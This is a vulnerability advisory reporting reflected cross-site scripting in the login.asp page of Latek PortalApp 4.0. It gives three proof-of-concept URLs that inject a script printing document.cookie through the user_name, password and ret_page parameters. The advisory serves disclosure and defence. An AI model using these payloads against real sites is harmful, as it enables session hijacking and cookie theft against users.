XSS vulnerability in PortalApp

Vulnerability ID: HTB22441
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_portalapp.html
Product: PortalApp
Vendor: Latek
Vulnerable Version: 4.0 and Probably Prior Versions
Vendor Notification: 14 June 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "login.asp" script to properly sanitize user-supplied input in multiple variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

http://host/login.asp?user_name=%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&password=&ret_page=

http://host/login.asp?user_name=&password=%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&ret_page=

http://host/login.asp?user_name=&password=&ret_page=%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E